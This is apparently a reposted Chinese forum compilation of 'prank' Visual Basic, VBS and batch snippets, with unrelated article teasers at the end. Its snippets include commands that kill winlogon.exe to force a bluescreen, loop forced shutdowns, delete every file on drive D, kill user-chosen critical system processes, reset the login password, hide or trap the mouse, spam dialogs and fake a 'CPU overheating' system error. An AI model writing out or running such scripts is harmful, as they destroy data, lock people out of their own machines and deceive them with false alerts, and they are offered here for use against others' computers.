vb的一些搞怪的操作

VB代码之:鼠标锁
option Explicit
Private Type RECT 
Left As Long 
Top As Long 
Right As Long 
Bottom As Long 
End Type
Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Sub Command1_Click()'锁定鼠标 
Dim r As RECT 
r.Left = 100: r.Top = 100 
r.Right = 100: r.Bottom = 100 
ClipCursor r 
End Sub
Private Sub Command2_Click()‘解除锁定 
ClipCursor ByVal 0& 
End Sub


VB代码之:蓝屏代码
Shell "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul", 0


VB代码之:关不掉的窗口 
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Print "woca"
Cancel = True
End sub


VB代码之:不断打开关机对话框
Private Declare Sub ShutDownDialog Lib "shell32.dll" Alias "#60" (ByVal hwndOwner As Long)
Private Sub Form_Load()
Do
ShutDownDialog hWnd
Loop
End Sub


VB代码之:弹出无限 Msgbox
Private Sub Form_Load() 
love: msgbox"嘿嘿" 
Go to love 
End Sub


VB代码之:CPU100%占据者
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Form1.Show
End Sub
Private Sub Form_Load()
Timer1.Interval = 10
Timer2.Interval = 10
Form1.Hide
For i = 1 To 1E+23
For a = 1 To 1E+16
Next a
For b = 1 To 1E+19
Next b
For c = 1 To 999999999
Next c
Next i
End Sub
Private Sub Timer1_Timer()
Form1.Show
End Sub
Private Sub Timer2_Timer()
Form1.Show
End Sub


VB代码之:编写系统炸弹
Private Sub Form_Load()
For i=1To 1E+40
Shell"shutdown -s -t 0"
Next i
End Sub
VB代码之:编写无限弹不规则窗口
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Sub Form_Load() 
'窗口永在最前 
SetWindowPos Me.hWnd, -1, 500, 150, Me.Width, Me.Height, 1 
Randomize Timer '伪随机数发生器 
Me.Width = Int(Screen.Width / 2 * Rnd) 
Me.Height = Int(Screen.Height / 2 * Rnd) 
Me.Left = Int((Screen.Width - Me.Width) * Rnd) 
Me.Top = Int((Screen.Height - Me.Height) * Rnd)
Timer1.Interval = Int(Rnd * 5000) + 5000 
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 
Dim a As New Form1 
a.Show 
Cancel = 1 
Me.FontSize = 14 
Print "这么是关不掉我的。" & vbCrLf & "啦啦啦……" 
End Sub
Private Sub Timer1_Timer() 
Me.Left = Rnd * 10000 
Me.Top = Rnd * 8000 
End Sub


VB代码之:鼠标不见了
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 
ShowCursor (False) 
End Sub
Private Sub Command2_Click() 
ShowCursor (True) 
MsgBox "ok" 
End Sub


这个是来自于 我们群里的论坛里的一个


创建 一个Text 和一个 Command1
Shell "Taskkill /f /im " & Text1.Text '结束Text1里的进程 ~ 
提个醒:把Text1的Text 为 "重要的进程" '我就不说 系统重要的进程了…… 请看下面 Windows 进程表
下面的是Windows XP 常见的进程列表
最基本的系统进程(也就是说,这些进程是系统运行的基本条件,有了这些进程,系统
就能正常运行)
smss.exe Session Manager
csrss.exe 子系统服务器进程
winlogon.exe 管理用户登录
services.exe 包含很多系统服务
lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。
(系统服务)
产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务)
svchost.exe 包含很多系统服务
svchost.exe
SPOOLSV.EXE 将文件加载到内存中以便迟后打印。(系统服务)
explorer.exe 资源管理器
internat.exe 托盘区的拼音图标
附加的系统进程(这些进程不是必要的,你可以根据需要通过服务管理器来增加或减
少)
mstask.exe 允许程序在指定时间运行。(系统服务)
regsvc.exe 允许远程注册表操作。(系统服务)
winmgmt.exe 提供系统管理信息(系统服务)。
inetinfo.exe 通过 Internet 信息服务的管理单元提供 FTP 连接和管理。(系统服务)
tlntsvr.exe 允许远程用户登录到系统并且使用命令行运行控制台程序。(系统服务)
允许通过 Internet 信息服务的管理单元管理 Web 和 FTP 服务。(系统服务)
tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。远程安装服务
的一部分。(系统服务)
termsrv.exe 提供多会话环境允许客户端设备访问虚拟的 Windows 2000
Professional 桌面会话以及运行在服务器上的基于 Windows 的程序。(系统服务)
dns.exe 应答对域名系统(DNS)名称的查询和更新请求。(系统服务)
以下服务很少会用到,上面的服务都对安全有害,如果不是必要的应该关掉
tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000
Professional 的能力。(系统服务)
支持以下 TCP/IP 服务:Character Generator, Daytime, Discard, Echo, 以及
Quote of the Day。(系统服务)
ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。(系统服
务)
ups.exe 管理连接到计算机的不间断电源(UPS)。(系统服务)
wins.exe 为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。
(系统服务)
llssrv.exe License Logging Service(system service)
ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。(系统服务)
RsSub.exe 控制用来远程储存数据的媒体。(系统服务)
locator.exe 管理 RPC 名称服务数据库。(系统服务)
lserver.exe 注册客户端许可证。(系统服务)
dfssvc.exe 管理分布于局域网或广域网的逻辑卷。(系统服务)
clipsrv.exe 支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面。(系统
服务)
msdtc.exe 并列事务,是分布于两个以上的数据库,消息队列,文件系统,或其
它事务保护资源管理器。(系统服务)
faxsvc.exe 帮助您发送和接收传真。(系统服务)
cisvc.exe Indexing Service(system service)
dmadmin.exe 磁盘管理请求的系统管理服务。(系统服务)
mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。(系统服
务)
netdde.exe 提供动态数据交换 (DDE) 的网络传输和安全特性。(系统服务)
smlogsvc.exe 配置性能日志和警报。(系统服务)
rsvp.exe 为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制
安装功能。(系统服务)
RsEng.exe 协调用来储存不常用数据的服务和管理工具。(系统服务)
RsFsa.exe 管理远程储存的文件的操作。(系统服务)
grovel.exe 扫描零备份存储(SIS)卷上的重复文件,并且将重复文件指向一个数据存
储点,以节省磁盘空间。(系统服务)
SCardSvr.exe 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统
服务)
snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系
统服务)
snmptrap.exe 接收由本地或远程 SNMP 代理程序产生的陷阱消息,然后将消息传递
到运行在这台计算机上 SNMP 管理程序。(系统服务)
UtilMan.exe 从一个窗口中启动和配置辅助工具。(系统服务)
msiexec.exe 依据 .MSI 文件中包含的命令来安装、修复以及删除软件。(系统服务)
嘿嘿 然后 Form的Load事件中 输入代码
Command1_Click
嘿嘿

msgbox "你要点100下确定",vbokcancel,"hkmfk"
for i=1 to 100
msgbox "加油!!!"&"还有"&(100-i)&"下",4096,"zhb0813"
next




dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true


2.删除D:所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true


3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop


4.不断按下alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop


放一个timer,名为timer1 
Private Sub Form_Load() 
Me.Visible = False 
Timer1.Interval = 10*1000 
End Sub 
Private Sub Timer1_Timer() 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" '可以多复制几个 msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
End Sub


多了 去看我回答的所有内容 我最在行了  VB的 不知道了
你应该不是很会 这些东西 VB还要编成EXE 有点麻烦 
我估计你问的是VBS BAT之类的脚本  


1.掉qq  taskkill /im qq.exe /f /t 
2.10秒强制关机(任务管理器无效) shutdown -s -t 10 
3.死机 start cmd 0% 
4.设置登录密码为2097152 net user "%username%" 2097152 
5.让电脑只剩一个背景 taskkill /im /f /t explorer.exe   VBS的 


1.莫名其妙结束当前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop  
2.不断提示你是猪 do msgbox("你是猪") loop 
剩下的是我以前编的 http://wenwen.soso.com/z/q242167878.htm ;
去这个网看看  BAT怎么写 你自己去网上找找我就不费话了
shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide 运行后直接蓝屏。。。慎用~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/545904.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

给51单片机初学者的建议

凡是diy爱好者都应该知道单片机,用直白的话说他就是单片微型计算机,能进行编程而后实现简单的自动化,智能化。 刚入门的时候,看到一些专业名词简直不知道说的是什么,比如寄存器、定时器、计数器、中断等等&#xff0c…

ai推理_人工智能推理能力问答

ai推理1) Which of the following statements correctly define the concept of Inference in AI? It is the way in which facts and information are stored in the storage system of the agentWhen we conclude the facts and figures to reach a particular decision, th…

Java 中 10 大坑爹功能!

今天我们就来聊一下 Java 中的 10 大坑爹功能,它们分别是:1.switch必须加上break才结束2.逻辑运算符的“短路”现象3.数组下标从零开始4.ArrayList遍历删除时报错5.字符转成数字的坑6.while循环体的“障眼法”7.Integer类有缓存8.空方法体导致死循环9.神…

WinXP下变量方式表达对应路径说明

在一些批处理或者系统技巧操作教程文章中,我们常常会看到一些形如 %windir% 或者 %systemdrive% 的变量。这些变量都代表着什么含义呢?下面西部e网的icech为大家整理了在Windows XP下系统变量方式表达相对应的路径,大家可以看得更加清楚明白了…

js 添加事件 attachEvent 和 addEventListener 的区别

1、addEventListener 适用w3c标准方法addEventListener绑定事件,如下,事件的执行顺序和绑定顺序一致,执行顺序为method1->method2->method3 //element.addEventListener(type,listener,useCapture);btn1Obj.addEventListener("cli…

三种循环及break、continue的区别及用法

循环,就是指某些语句重复多次执行,循环语句就是循环指令,能进入循环就能跳出循环,C语言中用到的循环有while、do…while和for三种,跳出循环语句有break和continue两种,这些语句各有特点。 While&#xff1…

PHP | 检查字符串中是否存在特定的单词/子字符串

Given a string and a word/substring, and we have to check whether a given word/substring exists in the string. 给定一个字符串和一个单词/子字符串,我们必须检查字符串中是否存在给定的单词/子字符串。 PHP code to check substring in the string PHP代码…

ORA-00304: requested INSTANCE_NUMBER is busy

为什么80%的码农都做不了架构师?>>> 昨天在项目现场弄oracle rac环境的时候,遇到了这个问题, 由于是rac环境,单独启动一个实例之后,在启动另外一个实例的时候报错了这个错误ORA-00304: requested INSTANCE…

多图证明,Java到底是值传递还是引用传递?

作者 | 王磊来源 | Java中文社群(ID:javacn666)转载请联系授权(微信ID:GG_Stone)开篇先来曝答案,在 Java 语言中,本质只有值传递,而无引用传递,解释和证明详见…

vb中filecopy拷贝文件

FileCopy("源文件名","目标文件名")两个参数都是必选的,且都包含路径。在VB中filecopy函数可以直接调用。而CopyFile函数则不能要先定义filesystemobject变量,然后才能用。有过copyFile比fileCopy的功能有所不同。FileCopy是单个文件的copy,目标…

scala提取字符串中数字_如何在Scala中以字符串或数字的形式获取日期,月份和年份?...

scala提取字符串中数字The "calendar" class handles working with date and time in Scala, the class generates the current time in the following format, “ calendar”类处理Scala中的日期和时间 ,该类以以下格式生成当前时间, Thu Ap…

图解面试题:找出数组中重复的数字?

今天分享的题目来源于 LeetCode 上的剑指 Offer 系列 面试题03. 数组中重复的数字。题目链接:https://leetcode-cn.com/problems/shu-zu-zhong-zhong-fu-de-shu-zi-lcof/一、题目描述 找出数组中重复的数字。在一个长度为 n 的数组 nums 里的所有数字都在 0&#xf…

vb中picturebox透明时看到下面的picturebox中图片

在加载窗体时,把PictureBox1的背景指定为透明,再把PictureBox1指定为PictureBox2的父容器就可以实现PictureBox2透明于PictureBox1且都透明与窗体背景了。VB2010环境下的。代码如下: Private Sub Form1_Load(ByVal sender As System.Object, …

Java ObjectStreamClass getSerialVersionUID()方法(带示例)

ObjectStreamClass类getSerialVersionUID()方法 (ObjectStreamClass Class getSerialVersionUID() method) getSerialVersionUID() method is available in java.io package. getSerialVersionUID()方法在java.io包中可用。 getSerialVersionUID() method is used to get the s…

知方可补不足~数据库名称和数据库别名不同了怎么办

回到目录 当你的数据库安装成功后,你修改了计算机名称,这时,你的sqlserver名称与别名可能就不相同了,当这两个名称不相同时,你再使用sql的发布与订阅功能时,将会被提示出错,“请使用服务名称&am…

调研了100+开源博客,发现这5个最好用!

最近想倒腾一下博客,看了很多现成的比较成熟的开源博客系统,自己也简单从下面几个维度总结对比了一下:star 数量技术选型社区生态当然啦!好东西不能独享,下面简单分享一下我所做的笔记(文末有提供所有项目的…

批处理编程详解

批处理编程详解小引:最近好多猜测弱口令的病毒在网上流行,比如前段时间闹得很厉害的Worm.Dvldr 蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行ipc$连接,从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的…

Java Object Class boolean equals(Object o)方法与示例

对象类布尔值等于(对象o) (Object Class boolean equals(Object o)) This method is available in package java.lang.Object.equals(Object o). 软件包java.lang.Object.equals(Object o)中提供了此方法。 This method is used to check the object with the specified object…

3种时间格式化的方法,SpringBoot篇!

时间格式化在项目中使用频率是非常高的,当我们的 API 接口返回结果,需要对其中某一个 date 字段属性进行特殊的格式化处理,通常会用到 SimpleDateFormat 工具处理。SimpleDateFormat dateFormat new SimpleDateFormat("yyyy-MM-dd"…

linux系统怎么改为中文版(转)

linux系统安装好后怎么改为中文版呢?今天就跟大家介绍下linux系统改为中文版的方法,希望能帮助到大家! 以下是linux系统改为中文版的四种方法,一起来看看: 方法1:写入环境变量 echo "export LANG"…